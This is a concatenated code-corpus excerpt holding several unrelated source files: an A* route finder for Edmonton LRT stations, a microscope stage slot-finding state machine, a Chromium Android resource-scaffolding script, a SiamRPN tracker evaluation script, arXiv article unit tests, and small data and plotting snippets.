path = self.least_cost_path(houseVertex, uniVertex)
if path == None:
return "Path could not be computed", 0, minStation, distToStation
else:
#compute distance in km from path
dist = self.computeDistanceFromPath(path)
#return both the path and distance
return path, dist, minStation, distToStation
def computePathFromLRTToHouse(self, house, lrtfilepath):
dictOfLRT = dict()
dictOfPaths = dict()
dictOfDistances = dict()
#get LRT coordinates from text file and add to dictionary
with open(lrtfilepath, 'r') as myFile:
for line in myFile:
lineItems = line.split(',')
coord = (float(lineItems[1])*100000, float(lineItems[2])*100000)
dictOfLRT[(lineItems[0])]=computeClosestVertexFromLatLonCoord(coord, self.locations)
path, closestLRT = self.least_cost_path_lrt(dictOfLRT, house)
#print("new way", closestLRT, self.computeDistanceFromPath(path))
#iterate through dictionary to find least cost path from each LRT to house
'''for key, val in dictOfLRT.items():
dictOfPaths[key] = self.least_cost_path(val, house)
for key, path in dictOfPaths.items():
dictOfDistances[key] = self.computeDistanceFromPath(path)
'''
#compute the closest LRT locaiton to house
#minStation = min(dictOfDistances.items(), key=lambda x:x[1])
if closestLRT == None:
return "Error: Could not find closest LRT", 0
else:
return closestLRT, self.computeDistanceFromPath(path)
def least_cost_path_lrt(self, lrts, end):
reached = {}
events = BinaryHeap()
#insert start location with time of 0 into the heap
counter = 0
for key, val in lrts.items():
events.insert((val, val, 0), 0)
while (len(events)) > 0:
pair, time = events.popmin()
#print(time)
#account for heuristic so it is not compounded
if (pair[2]):
time -= pair[2]
if pair[1] not in reached:
# add to reached dictionary
reached[pair[1]] = pair[0]
#consider neighbors around each point and distance to each neighbor
for neighbour in self.graph.neighbours(pair[1]):
point1 = self.locations[pair[1]]
point2 = self.locations[neighbour]
# maybe we could save distances between objects in a dict, and reuse them?
# add heuristic in for the form of euclidean distance. This will helps lead the searching algorithm
# more towards the end location
heuristic = euclidean_distance(point2, self.locations[end])
# add key and val to BinaryHeap called events
events.insert((pair[1], neighbour, heuristic), time + euclidean_distance(point1, point2) + heuristic)
# end loop right after destination is popped
if (pair[1] == end):
break
# use the get_path included with the breadth_first_search helper file to find path from reached dictionary
path = None
closestLRT = None
for key, val in lrts.items():
if val in reached:
path = get_path(reached, val, end)
if path == None:
pass
else:
closestLRT = key
break
return path, closestLRT
def least_cost_path(self, start, end):
reached = {}
events = BinaryHeap()
#insert start locatin with time of 0 into the heap
events.insert((start, start, 0), 0)
while (len(events)) > 0:
pair, time = events.popmin()
#account for heuristic so it is not compounded
if (pair[2]):
time -= pair[2]
if pair[1] not in reached:
# add to reached dictionary
reached[pair[1]] = pair[0]
#consider neighbors around each point and distance to each neighbor
for neighbour in self.graph.neighbours(pair[1]):
point1 = self.locations[pair[1]]
point2 = self.locations[neighbour]
# maybe we could save distances between objects in a dict, and reuse them?
# add heuristic in for the form of euclidean distance. This will helps lead the searching algorithm
# more towards the end location
heuristic = euclidean_distance(point2, self.locations[end])
# add key and val to BinaryHeap called events
events.insert((pair[1], neighbour, heuristic), time + euclidean_distance(point1, point2) + heuristic)
# end loop right after destination is popped
if (pair[1] == end):
break
# use the get_path included with the breadth_first_search helper file to find path from reached dictionary
return get_path(reached, start, end)
#use formula for convert difference in lat and lon coordinates between points into km
def convertLatLonDistToMetres(point1, point2):
diffX = abs(point2[0]-point1[0])/100000
diffY = abs(point2[1]-point1[1])/100000
#convert latitude to km
diffXKM = diffX * 110.574
#convert longitude to km
#print((point1[0]+point2[0])/200000)
diffYKM = diffY * 111.320*math.cos(math.radians((point1[0]+point2[0])/200000))
return diffXKM+diffYKM
def euclidean_distance(u, v):
# euclidean distance between 2 sets
return ((u[0]-v[0])**2+(u[1]-v[1])**2) ** 0.5
def computeClosestVertexFromLatLonCoord(locationInCoords, locations):
# initialize variables to keep track closest vertex as we interate through the city graph
closestDist = float('inf')
locationVertex = 0
# loop through all items in locations dictionary until we find the vertex that is closest to the given lat and lon coordinate
for key, val in locations.items():
dist = euclidean_distance(locationInCoords, val)
if dist < closestDist:
locationVertex = key
closestDist = dist
return locationVertex
def load_city_graph(filename):
#loads up the graph of a given city (only Edmonton for now) from a given textfile
vertices = []
edges = []
locations = dict()
graph = Graph()
#parse txt file containing vertices and indices to build graph
with open(filename, 'r') as myfile:
for line in myfile:
lineItems = line.split(',')
if (lineItems[0] == 'V'):
graph.add_vertex(int(lineItems[1]))
locations[int(lineItems[1])] = (int(float(lineItems[2])*100000),int(float(lineItems[3])*100000))
elif (lineItems[0] == 'E'):
graph.add_edge((int(lineItems[1]), int(lineItems[2])))
return graph, locations
# some testing code to ensure everything works
if __name__ == "__main__":
new = RouteFinder("edmonton.txt")
path, dist, minstation, distToStation = new.computePathToUni((5332133.1248, -11332133.1248))
path2, dist2, minstation2, distToStation2 = new.computePathToUni((5352133.1248, -11332133.1248))
print(len(path), dist, minstation, distToStation)
print(len(path2), dist2, minstation2, distToStation2)
| 3.859375 | 4 |
software/temcagt/temcagt/nodes/control/statemachines/findslotsm.py | htem/GridTapeStage | 2 | 12768767 | #!/usr/bin/env python
import time
from ... import base
class FindSlotSM(base.StateMachine):
"""
verify tape untensioned
setup stats and beam
move to approximate center
find edge(s)
move to center
set center
set roi (outside?)
state = {
'center': {
'x': ..., 'y': ..., # stage position
'time': ...., # time found
},
}
config = {
'center': {
'x': ..., 'y': ..., # stage position
'time': ...., # time found
},
'start': {'x': ..., 'y': ...},
'move_size': {'x': ..., 'y': ...},
'max_moves': {'x': ..., 'y': ...},
'stats': (stats config, stream config)
'delay': # stats delay
'threshold': std threshold
}
"""
def setup(self):
#self.stds = []
self.data = []
self.last_move = None
start_time = time.time()
self._error = None
# verify tape untensioned
if self.node.tape.get_state() != 'untensioned':
raise IOError(
"Tape is not untensioned [%s] cannot find slot"
% self.node.tape.get_state())
# check motion stage unlocked
if self.node.motion.is_locked():
raise IOError("Motion stage is locked cannot find slot")
# check screen
screen_delay = None
if not self.node.scope.screen_is_open():
self.node.scope.press_button('screen')
screen_delay = self.node.scope.config().get('screen_delay', 5.0)
ncfg = self.node.config()
cfg = self.node.config()['find_slot']
# move to center
kwargs = {
'x': cfg['start']['x'],
'y': cfg['start']['y'],
'wait': True, 'relative': False, 'poll': True, 'hold': True}
self.node.motion.move(**kwargs)
# setup stats
self.old_camera_configs = []
for c in self.node.cameras:
self.old_camera_configs.append(c.config())
c.config({
'broadcast': { # disable frame/etc broadcasting
'enable': cfg['broadcast'],
},
'stream': {
'grab_type': 'grab',
'delay': cfg['delay'],
}
})
# clear stats
self.directions = [
('x', -cfg['move_size']['x']),
('y', -cfg['move_size']['y'])]
self.n_moves = 0
self.stats_futures = None
#self.stats_futures = [c.get_new_stats() for c in self.node.cameras]
#self.node.frame_stats = [None for _ in xrange(len(self.node.cameras))]
# start streaming
[c.start_streaming() for c in self.node.cameras]
# record meta
self.node.config({'find_slot': 'meta'}, prune=True)
self.node.config({'find_slot': {'meta': {
'start_time': start_time,
}}})
if screen_delay is not None:
return 'widen_beam', screen_delay
return 'widen_beam'
def error(self):
# move to 'safe' position
cfg = self.node.config()
#cfg = ncfg['find_slot']
#if cfg['find_slot']['include_stds']:
if cfg['find_slot']['include_data']:
#self.node.config({'find_slot': {'meta': {'stds': self.stds}}})
self.node.config({'find_slot': {'meta': {'data': self.data}}})
# move to center
kwargs = {
'x': cfg['origin']['x'],
'y': cfg['origin']['y'],
'wait': True, 'relative': False, 'poll': True, 'hold': True}
self.node.motion.move(**kwargs)
# reset camera configs
for (oc, c) in zip(self.old_camera_configs, self.node.cameras):
c.config(oc)
# stop streaming
[c.start_streaming() for c in self.node.cameras]
if self._error is not None:
raise self._error
raise Exception("find_slot undefined error")
def widen_beam(self):
self.node.scope.widen_beam()
cfg = self.node.config()['find_slot']
return 'setup_beam', cfg['post_widen_delay']
def setup_beam(self):
# tighten by N 16x clicks
self.tight_n_16x_clicks = self.node.config()[
'find_slot']['tighten_beam_n_16x_clicks']
self.node.scope.adjust_brightness(
self.tight_n_16x_clicks, 'l', x16=True)
if not self.node.scope.screen_is_open():
screen_delay = self.node.scope.config().get('screen_delay', 5.0)
return 'wait_for_screen', screen_delay
return 'check_stats'
def wait_for_screen(self):
if self.node.scope.screen_is_open():
return 'check_stats'
raise IOError("screen is either not working or is flaky")
def move(self):
if len(self.directions) == 0:
return 'finish'
cfg = self.node.config()['find_slot']
axis, nm = self.directions[0]
if self.n_moves > cfg['max_moves'][axis]:
self._error = IOError(
"find_slot failed to find direction %s in n_moves %s" %
(axis, self.n_moves))
return 'error'
# move
kwargs = {
axis: nm, 'wait': True, 'relative': True,
'poll': True, 'hold': True}
self.last_move = {axis: nm}
self.node.motion.move(**kwargs)
self.n_moves += 1
# clear stats
self.stats_futures = [c.get_new_stats() for c in self.node.cameras]
#self.node.frame_stats = [None for _ in xrange(len(self.node.cameras))]
return ('check_stats', self.stats_futures)
def change_direction(self):
if len(self.directions) == 0:
return 'finish'
cfg = self.node.config()['find_slot']
axis, _ = self.directions.pop(0)
# check for < minimum moves?
if self.n_moves < cfg['min_moves'][axis]:
self._error = IOError(
"find_slot found %s edge in too few moves %s < %s" %
(axis, self.n_moves, cfg['min_moves'][axis]))
return 'error'
# move to 'center' of direction
nm = cfg['offset'][axis]
kwargs = {
axis: nm, 'wait': True, 'relative': True,
'poll': True, 'hold': True}
mr = self.node.motion.move(**kwargs)
# set center
self.node.config({'find_slot': {
'center': {axis: mr[axis]},
'meta': {axis: {
'n_moves': self.n_moves,
'time': time.time(),
}}}})
# reset n_moves
self.n_moves = 0
return 'move'
def check_stats(self):
if self.stats_futures is None:
self.stats_futures = [c.get_new_stats() for c in self.node.cameras]
return ('check_stats', self.stats_futures)
# wait for new stats
#if any((s is None for s in self.node.frame_stats)):
# return (
# 'check_stats',
# self.node.config()['find_slot']['check_timeout'])
# check for edge of slot
threshold = self.node.config()['find_slot']['threshold']
stat = self.node.config()['find_slot'].get('stat', 'std')
edge = False
#stds = {}
datum = {}
#for s in self.node.frame_stats:
# TODO check futures for running or errors
for (i, sf) in enumerate(self.stats_futures):
s = sf.result()
datum[i] = s[stat]
#stds[i] = s['std']
if datum[i] < threshold:
edge = True
if self.last_move is not None:
self.data.append({
'move': self.last_move,
'datum': datum,
})
#self.stds.append({
# 'move': self.last_move,
# 'stds': stds,
#})
self.stats_futures = None
if edge:
return 'change_direction'
return 'move'
def finish(self):
if hasattr(self, 'tight_n_16x_clicks'):
self.node.scope.adjust_brightness(
self.tight_n_16x_clicks, 'r', x16=True)
del self.tight_n_16x_clicks
# reset camera configs
for (oc, c) in zip(self.old_camera_configs, self.node.cameras):
c.config(oc)
del self.old_camera_configs
# stop streaming
[c.stop_streaming() for c in self.node.cameras]
meta = {'finish_time': time.time()}
#if self.node.config()['find_slot']['include_stds']:
if self.node.config()['find_slot']['include_data']:
meta['data'] = self.data
#meta['stds'] = self.stds
self.node.config({'find_slot': {'meta': meta}})
self.node.config({'slot': {
'center': self.node.config()['find_slot']['center'],
}})
# reload rois now that there is a defined center
self.node.load_rois()
return None
def _teardown(self):
super(FindSlotSM, self)._teardown()
if hasattr(self, 'tight_n_16x_clicks'):
self.node.scope.adjust_brightness(
self.tight_n_16x_clicks, 'r', x16=True)
del self.tight_n_16x_clicks
# reset camera configs
if hasattr(self, 'old_camera_configs'):
for (oc, c) in zip(self.old_camera_configs, self.node.cameras):
c.config(oc)
# stop streaming
[c.stop_streaming() for c in self.node.cameras]
| 2.25 | 2 |
tools/android/modularization/convenience/touch_resources.py | Ron423c/chromium | 575 | 12768768 | #!/usr/bin/env python3
# Copyright 2021 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
r"""Creates Android resources directories and boilerplate files for a module.
This is a utility script for conveniently creating resources directories and
values .xml files in modules prefilled with boilerplate and example usages. It
prints out suggested changes to the BUILD.gn and will apply them if accepted.
Examples:
Touch colors.xml and styles.xml in module foo:
tools/android/modularization/convenience/touch_resources.py \
chrome/browser/foo \
-v colors styles
Touch dimens.xml in module foo's internal dir for hdpi, xhdpi and xxdpi:
tools/android/modularization/convenience/touch_resources.py \
chrome/browser/foo/internal \
-v dimens \
-q hdpi xhdpi xxhdpi
Touch drawable directories in module foo for hdpi, xhdpi and xxdpi:
tools/android/modularization/convenience/touch_resources.py \
chrome/browser/foo \
-d drawable \
-q hdpi xhdpi xxhdpi
"""
import argparse
import datetime
import pathlib
from typing import List, Optional, Tuple
import build_gn_editor
_IGNORED_FILES_IN_RES = {'DIR_METADATA', 'OWNERS'}
_VALUES_SUPPORTED = [
'arrays',
'colors',
'dimens',
'ids',
'strings',
'styles',
]
_DIRS_SUPPORTED = [
'animator',
'anim',
'color',
'drawable',
'font',
'mipmap',
'layout',
'menu',
'raw',
'values',
'xml',
]
def main():
arg_parser = argparse.ArgumentParser(
description='Creates Android resources directories and boilerplate files '
'for a module.')
arg_parser.add_argument('module',
help='Module directory to create resources for. e.g. '
'chrome/browser/foo')
arg_parser.add_argument('-v',
'--values',
nargs='+',
default=[],
choices=_VALUES_SUPPORTED,
help='Creates values .xml resources files that do '
'not exist yet.')
arg_parser.add_argument(
'-d',
'--directories',
nargs='+',
default=[],
choices=_DIRS_SUPPORTED,
help='Creates resources file directories that do not exist yet. '
'Use --values to create the values directory.')
arg_parser.add_argument(
'-q',
'--qualifiers',
nargs='+',
help='If specified, resources will be created under these Android '
'resources qualifiers. See '
'https://developer.android.com/guide/topics/resources/providing-resources#AlternativeResources'
)
arguments = arg_parser.parse_args()
# Recognize directory structure and determine the existing BUILD.gn location
# and where resources are or should be
build_gn_path, resources_path = _identify_module_structure(arguments.module)
# Create res/ directory if it does not exist
if not resources_path.is_dir():
resources_path.mkdir(parents=True)
print(f'Created resources directory: {resources_path}')
# Detect existing resources
all_resources = [
p for p in resources_path.rglob('*')
if p.is_file() and p.name not in _IGNORED_FILES_IN_RES
]
changes_requested = False
new_resources = []
# Process -q/--qualifiers
if not arguments.qualifiers:
qualifier_suffixes = ['']
else:
qualifier_suffixes = [f'-{qualifier}' for qualifier in arguments.qualifiers]
# Process -v/--values
for value_type in arguments.values:
changes_requested = True
if value_type == 'strings':
raise ValueError(
'strings.xml files are replaced by strings.grd files for '
'localization, and modules do not need to create separate '
'strings.grd files. Existing strings can be left in and new strings '
'can be added to '
'chrome/browser/ui/android/strings/android_chrome_strings.grd')
else:
created_resources = _touch_values_files(resources_path, value_type,
qualifier_suffixes)
new_resources.extend(created_resources)
all_resources.extend(created_resources)
# Process -d/--directories
for subdirectory in arguments.directories:
changes_requested = True
if subdirectory == 'values':
raise ValueError(
'Use -v/--values to create the values directory and values resources.'
)
else:
_touch_subdirectories(resources_path, subdirectory, qualifier_suffixes)
if not changes_requested:
print('No resource types specified to create, so just created the res/ '
'directory. Use -v/--values to create value resources and '
'-d/--directories to create resources subdirectories.')
# Print out build target suggestions
all_resources.sort(key=str)
if not all_resources:
return
build_file = build_gn_editor.BuildFile(build_gn_path)
build_gn_changes_ok = _update_build_file(build_file, all_resources)
if not build_gn_changes_ok:
_print_build_target_suggestions(build_gn_path, all_resources)
return
print('Final delta:')
print(build_file.get_diff())
apply_changes = _yes_or_no('Would you like to apply these changes?')
if not apply_changes:
return
build_file.write_content_to_file()
def _yes_or_no(question: str) -> bool:
val = input(question + ' [(y)es/(N)o] ')
try:
y_or_n = val.lower().strip()
return y_or_n[0] == 'y'
except Exception:
print('Invalid input. Assuming No.')
return False
def _determine_target_to_use(targets: List[str], target_type: str,
default_name: str) -> Optional[str]:
num_targets = len(targets)
if not num_targets:
print(f'Found no existing {target_type} will create ":{default_name}".')
return default_name
elif num_targets == 1:
print(f'Found existing target {target_type}("{targets[0]}"), using it.')
return targets[0]
else:
print(f'Found multiple existing {target_type} targets, pick one: ')
return _enumerate_targets_and_ask(targets)
def _enumerate_targets_and_ask(targets: List[str]) -> Optional[str]:
for i, target in enumerate(targets):
print(f'{i + 1}: {target}')
try:
val = int(
input('Enter the number corresponding the to target you want to '
'use: ')) - 1
except ValueError:
return None
if 0 <= val < len(targets):
return targets[val]
return None
def _identify_module_structure(path_argument: str
) -> Tuple[pathlib.Path, pathlib.Path]:
module_path = pathlib.Path(path_argument)
assert module_path.is_dir()
# If present, prefer module/android/BUILD.gn
possible_android_path = module_path / 'android'
if possible_android_path.is_dir():
possible_build_gn_path = possible_android_path / 'BUILD.gn'
if possible_build_gn_path.is_file():
build_gn_path = possible_build_gn_path
resources_path = possible_android_path / 'java' / 'res'
return build_gn_path, resources_path
# The recommended structure is module/BUILD.gn
possible_build_gn_path = module_path / 'BUILD.gn'
if possible_build_gn_path.is_file():
build_gn_path = possible_build_gn_path
possible_existing_java_path = module_path / 'java'
# If module/java exists, use module/java/res, but the preferred structure is
# module/android/java/res
if possible_existing_java_path.is_dir():
resources_path = possible_existing_java_path / 'res'
else:
resources_path = possible_android_path / 'java' / 'res'
return build_gn_path, resources_path
raise Exception(
f'BUILD.gn found neither in {module_path} nor in {possible_android_path}')
def _touch_values_files(resources_path: pathlib.Path, value_resource_type: str,
qualifier_suffixes: List[str]) -> List[pathlib.Path]:
created_files = []
for qualifier_suffix in qualifier_suffixes:
values_path = resources_path / f'values{qualifier_suffix}'
values_path.mkdir(parents=True, exist_ok=True)
xml_path = values_path / f'{value_resource_type}.xml'
if xml_path.is_file():
print(f'{xml_path} already exists.')
continue
with xml_path.open('a') as f:
f.write(_create_filler(value_resource_type))
print(f'Created {xml_path}')
created_files.append(xml_path)
return created_files
_RESOURCES_BOILERPLATE_TEMPLATE = """<?xml version="1.0" encoding="utf-8"?>
<!-- Copyright {year} The Chromium Authors. All rights reserved.
Use of this source code is governed by a BSD-style license that can be
found in the LICENSE file. -->
<resources xmlns:tools="http://schemas.android.com/tools">
{contents}
</resources>
"""
_DIMENS_BOILERPLATE = """ <!-- Foo icon dimensions -->
<dimen name="foo_icon_height">24dp</dimen>
<dimen name="foo_icon_width">24dp</dimen>"""
_COLORS_BOILERPLATE = """ <!-- Foo UI colors -->
<color name="foo_background_color">@color/default_bg_color_light</color>"""
_STYLES_BOILERPLATE = """ <!-- Styling for a Foo menu button. -->
<style name="FooMenuButton">
<item name="android:layout_width">48dp</item>
<item name="android:layout_height">24dp</item>
<item name="tint">@color/default_icon_color_tint_list</item>
</style>"""
_IDS_BOILERPLATE = """ <!-- Dialog button ids -->
<item type="id" name="foo_ok_button" />
<item type="id" name="foo_cancel_button" />"""
_ARRAYS_BOILERPLATE = """ <!-- Prime numbers -->
<integer-array name="foo_primes">
<item>2</item>
<item>3</item>
<item>5</item>
<item>7</item>
</integer-array>
<!-- Geometrics shapes -->
<array name="foo_shapes">
<item>@drawable/triangle</item>
<item>@drawable/square</item>
<item>@drawable/circle</item>
</array>"""
_BOILERPLATE = {
'dimens': _DIMENS_BOILERPLATE,
'colors': _COLORS_BOILERPLATE,
'styles': _STYLES_BOILERPLATE,
'ids': _IDS_BOILERPLATE,
'arrays': _ARRAYS_BOILERPLATE
}
def _create_filler(value_resource_type: str) -> str:
boilerplate = _BOILERPLATE[value_resource_type]
return _RESOURCES_BOILERPLATE_TEMPLATE.format(year=_get_current_year(),
contents=boilerplate)
def _get_current_year() -> int:
return datetime.datetime.now().year
_COMMON_RESOURCE_DEPS = [
"//chrome/browser/ui/android/strings:ui_strings_grd",
"//components/browser_ui/strings/android:browser_ui_strings_grd",
"//components/browser_ui/styles/android:java_resources",
"//components/browser_ui/widget/android:java_resources",
"//third_party/android_deps:material_design_java",
"//ui/android:ui_java_resources",
]
def _touch_subdirectories(resources_path: pathlib.Path, subdirectory: str,
qualifier_suffixes: List[str]) -> List[pathlib.Path]:
for qualifier_suffix in qualifier_suffixes:
subdir_name = f'{subdirectory}{qualifier_suffix}'
subdir_path = resources_path / subdir_name
if not subdir_path.is_dir():
subdir_path.mkdir(parents=True)
print(f'Created {subdir_path}')
else:
print(f'{subdir_path} already exists.')
def _generate_resources_sources(build_gn_dir_path: pathlib.Path,
new_resources: List[pathlib.Path]) -> List[str]:
return [f'"{str(r.relative_to(build_gn_dir_path))}"' for r in new_resources]
def _list_to_lines(lines, indent):
spaces = ' ' * indent
return '\n'.join([f'{spaces}{line},' for line in lines])
def _generate_suggested_resources_deps() -> List[str]:
return [f'# "{dep}"' for dep in _COMMON_RESOURCE_DEPS]
def _generate_resources_content(build_gn_path: pathlib.Path,
new_resources: List[pathlib.Path], *,
include_comment: bool) -> str:
build_gn_dir_path = build_gn_path.parent
new_resources_lines = _list_to_lines(
_generate_resources_sources(build_gn_dir_path, new_resources), 4)
suggested_deps_lines = _list_to_lines(_generate_suggested_resources_deps(), 4)
comment = ''
if include_comment:
comment = ('\n # Commonly required resources deps for convenience, ' +
'add other required deps and remove unnecessary ones.')
resources_content = f"""sources = [
{new_resources_lines}
]
deps = [{comment}
{suggested_deps_lines}
]"""
return resources_content
def _generate_suggested_resources(build_gn_path: pathlib.Path,
new_resources: List[pathlib.Path]) -> str:
resources_content = _generate_resources_content(build_gn_path,
new_resources,
include_comment=True)
resources_target_suggestion = f"""
android_resources("java_resources") {{
{resources_content}
}}"""
return resources_target_suggestion
def _generate_suggested_java_package(build_gn_path: pathlib.Path) -> str:
build_gn_dir_path = build_gn_path.parent
parts_for_package = build_gn_dir_path.parts
# internal, public or android subdirectories are not part of the Java package.
while parts_for_package[-1] in ('internal', 'public', 'android'):
parts_for_package = parts_for_package[:-1]
return f'org.chromium.{".".join(parts_for_package)}'
def _generate_library_content(build_gn_path: pathlib.Path,
resources_target_name: str) -> str:
suggested_java_package = _generate_suggested_java_package(build_gn_path)
library_content = f"""deps = [
":{resources_target_name}",
]
resources_package = "{suggested_java_package}" """
return library_content
def _generate_library_target(build_gn_path: pathlib.Path,
resources_target_name: str) -> str:
library_content = _generate_library_content(build_gn_path,
resources_target_name)
android_library_target_suggestion = f"""
android_library("java") {{
{library_content}
}}"""
return android_library_target_suggestion
def _create_or_update_variable_list(target: build_gn_editor.BuildTarget,
variable_name: str,
elements: List[str]) -> None:
variable = target.get_variable(variable_name)
if variable:
variable_list = variable.get_content_as_list()
if not variable_list:
raise build_gn_editor.BuildFileUpdateError(
f'{target.get_type()}("{target.get_name()}") '
f'{variable_name} is not a list.')
variable_list.add_elements(elements)
variable.set_content_from_list(variable_list)
target.replace_variable(variable)
return
variable = build_gn_editor.TargetVariable(variable_name, '')
variable_list = build_gn_editor.VariableContentList()
variable_list.add_elements(elements)
variable.set_content_from_list(variable_list)
target.add_variable(variable)
def _update_build_file(build_file: build_gn_editor.BuildFile,
all_resources: List[pathlib.Path]) -> bool:
libraries = build_file.get_target_names_of_type('android_library')
resources = build_file.get_target_names_of_type('android_resources')
library_target = _determine_target_to_use(libraries, 'android_library',
'java')
resources_target = _determine_target_to_use(resources, 'android_resources',
'java_resources')
if not library_target or not resources_target:
print('Invalid build target selections. Aborting BUILD.gn changes.')
return False
try:
_update_build_targets(build_file, all_resources, library_target,
resources_target)
except build_gn_editor.BuildFileUpdateError as e:
print(f'Changes to build targets failed: {e}. Aborting BUILD.gn changes.')
return False
try:
build_file.format_content()
except build_gn_editor.BuildFileUpdateError as e:
print(f'Formatting BUILD gn failed: {e}\n Aborting BUILD.gn changes')
return False
return True
def _update_build_targets(build_file: build_gn_editor.BuildFile,
all_resources: List[pathlib.Path],
library_target: str, resources_target: str) -> None:
resources = build_file.get_target('android_resources', resources_target)
if not resources:
resources = build_gn_editor.BuildTarget(
'android_resources', resources_target,
_generate_resources_content(build_file.get_path(),
all_resources,
include_comment=False))
build_file.add_target(resources)
else:
_create_or_update_variable_list(
resources, 'sources',
_generate_resources_sources(build_file.get_path().parent,
all_resources))
_create_or_update_variable_list(resources, 'deps',
_generate_suggested_resources_deps())
build_file.replace_target(resources)
library = build_file.get_target('android_library', library_target)
if not library:
library = build_gn_editor.BuildTarget(
'android_library', library_target,
_generate_library_content(build_file.get_path(), resources_target))
build_file.add_target(library)
else:
_create_or_update_variable_list(library, 'deps', [f'":{resources_target}"'])
resources_package = library.get_variable('resources_package')
if not resources_package:
resources_package_str = _generate_suggested_java_package(
build_file.get_path())
library.add_variable(
build_gn_editor.TargetVariable('resources_package',
f'"{resources_package_str}"'))
build_file.replace_target(library)
def _print_build_target_suggestions(build_gn_path: pathlib.Path,
new_resources: List[pathlib.Path]) -> None:
resources_target_suggestion = _generate_suggested_resources(
build_gn_path, new_resources)
android_library_target_suggestion = _generate_library_target(
build_gn_path, 'java_resources')
print(f'Suggestion for {build_gn_path}:')
print(resources_target_suggestion)
print(android_library_target_suggestion)
print()
if __name__ == '__main__':
main()
| 2.265625 | 2 |
sot/eval_sot.py | take-cheeze/models | 112 | 12768769 | import argparse
import numpy as np
import chainer
from siam_rpn.general.eval_sot_vot import eval_sot_vot
from siam_rpn.siam_rpn import SiamRPN
from siam_rpn.siam_rpn_tracker import SiamRPNTracker
from siam_rpn.siam_mask_tracker import SiamMaskTracker
from siam_rpn.general.vot_tracking_dataset import VOTTrackingDataset
from chainercv.utils import apply_to_iterator
from chainercv.utils import ProgressHook
from chainer import iterators
from siam_rpn.general.predictor_with_gt import PredictorWithGT
def collate_images_from_same_video(data, used_ids=None):
imgs = data.slice[:, 'img']
polys = data.slice[:, 'poly']
video_ids = data.slice[:, 'video_id']
frame_ids = data.slice[:, 'frame_id']
if used_ids is None:
used_ids = np.unique(video_ids)
np.sort(used_ids)
videos = []
video_polys = []
for video_id in used_ids:
indices = np.where(video_ids == video_id)[0]
the_frame_ids = list(frame_ids.slice[indices])
assert all(list(the_frame_ids) == np.arange(len(the_frame_ids)))
videos.append(imgs.slice[indices])
video_polys.append(polys[indices])
return videos, video_polys
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--pretrained-model', type=str)
parser.add_argument('--gpu', type=int, default=-1)
parser.add_argument('--mask', action='store_true')
args = parser.parse_args()
data = VOTTrackingDataset('data')
if args.mask:
model = SiamRPN(multi_scale=False, mask=True)
chainer.serializers.load_npz(args.pretrained_model, model)
tracker = SiamMaskTracker(model)
else:
model = SiamRPN()
chainer.serializers.load_npz(args.pretrained_model, model)
tracker = SiamRPNTracker(model)
if args.gpu >= 0:
chainer.cuda.get_device_from_id(args.gpu).use()
tracker.to_gpu()
videos, video_polys = collate_images_from_same_video(
data, used_ids=None)
video_dataset = chainer.datasets.TupleDataset(videos, video_polys)
it = iterators.SerialIterator(video_dataset, 1, False, False)
in_values, out_values, rest_values = apply_to_iterator(
PredictorWithGT(tracker, mask=args.mask), it,
n_input=2, hook=ProgressHook(len(video_dataset)))
# delete unused iterators explicitly
imgs, video_polys = in_values
pred_bboxes, pred_statuses, sizes = out_values
del imgs
video_polys = list(video_polys)
pred_bboxes = list(pred_bboxes)
pred_statuses = list(pred_statuses)
sizes = list(sizes)
np.savez(
'eval_sot_out.npz',
pred_bboxes=pred_bboxes, pred_statuses=pred_statuses,
gt_polys=video_polys, sizes=sizes)
result = eval_sot_vot(pred_bboxes, pred_statuses, video_polys, sizes)
print(result['eao'], result['accuracy'], result['robustness'])
| 1.960938 | 2 |
rejected_article_tracker/tests/ML/test_ArXivArticleItem.py | sagepublishing/rejected_article_tracker_pkg | 10 | 12768770 | <filename>rejected_article_tracker/tests/ML/test_ArXivArticleItem.py
import unittest
import pandas as pd
from rejected_article_tracker.src.ML.ArXivArticleItem import ArXivArticleItem
class TestArXivArticleItem(unittest.TestCase):
def test_object_creation_with_required_fields(self):
items = {
'id': '0606.1234v2',
'raw_manuscript_id': '0606.1234',
'title': 'What is in a name?',
'created': pd.to_datetime('2020-04-03'),
'authors': 'Hails,Andy;Day,Adam',
'text_sub_date': pd.to_datetime('2020-04-03').strftime("%Y-%m-%d"),
'final_decision': pd.to_datetime('2020-04-03')
}
article = ArXivArticleItem(items)
res = article.to_dict()
self.assertEqual(res['manuscript_id'], items['id'])
self.assertEqual(res['manuscript_title'], items['title'])
self.assertTrue(type(res['submission_date']) == pd._libs.tslibs.timestamps.Timestamp)
self.assertTrue(type(res['decision_date']) == pd._libs.tslibs.timestamps.Timestamp)
self.assertEqual(res['authors'], 'Hails,Andy;Day,Adam')
self.assertEqual(res['text_sub_date'], '2020-04-03')
self.assertEqual(res['final_decision'], items['final_decision'])
def test_missing_required_field_raises_exception(self):
with self.assertRaises(ValueError) as cm:
items = {'id': '',
'created': pd.to_datetime('2020-03-04', utc=True)}
ArXivArticleItem(items)
the_exception = cm.exception
self.assertEqual(str(the_exception), 'field "id" required')
def test_no_submission_date_raises_exception(self):
items = {
'id': '1',
'title': 'What is in a name?',
'created': '',
}
with self.assertRaises(ValueError) as cm:
ArXivArticleItem(items)
the_exception = cm.exception
self.assertEqual(str(the_exception), 'field "created" required')
def test_bad_submission_date_raises_exception(self):
items = {
'id': '1',
'title': 'What is in a name?',
'created': 'NOTADATE'
}
with self.assertRaises(ValueError) as cm:
ArXivArticleItem(items)
the_exception = cm.exception
self.assertEqual(str(the_exception), 'could not convert string to Timestamp') #"created" needs to be a valid date')
| 2.796875 | 3 |
Section2/reader.py | Zealll/Algo-and-Quant-Trading | 0 | 12768771 | <reponame>Zealll/Algo-and-Quant-Trading
import pandas_datareader.data as pdr
import datetime as dt
ticker = 'AMZN'
start_date = dt.date.today() - dt.timedelta(365)
end_date = dt.date.today()
data = pdr.get_data_yahoo(ticker, start_date, end_date, interval='m')
print(data) | 2.9375 | 3 |
peripy/__init__.py | jd-bartlett96/PeriPy | 17 | 12768772 | <gh_stars>10-100
"""
PeriPy.
A module for defining and simulating peridynamic systems.
"""
from .model import Model
__all__ = [
"Model"
]
| 1.101563 | 1 |
Src/plot.py | sanjeevmk/GLASS | 2 | 12768773 | <filename>Src/plot.py
import torch
torch.manual_seed(10)
torch.cuda.manual_seed_all(10)
import header
import init
import sys
import train
import randomSample
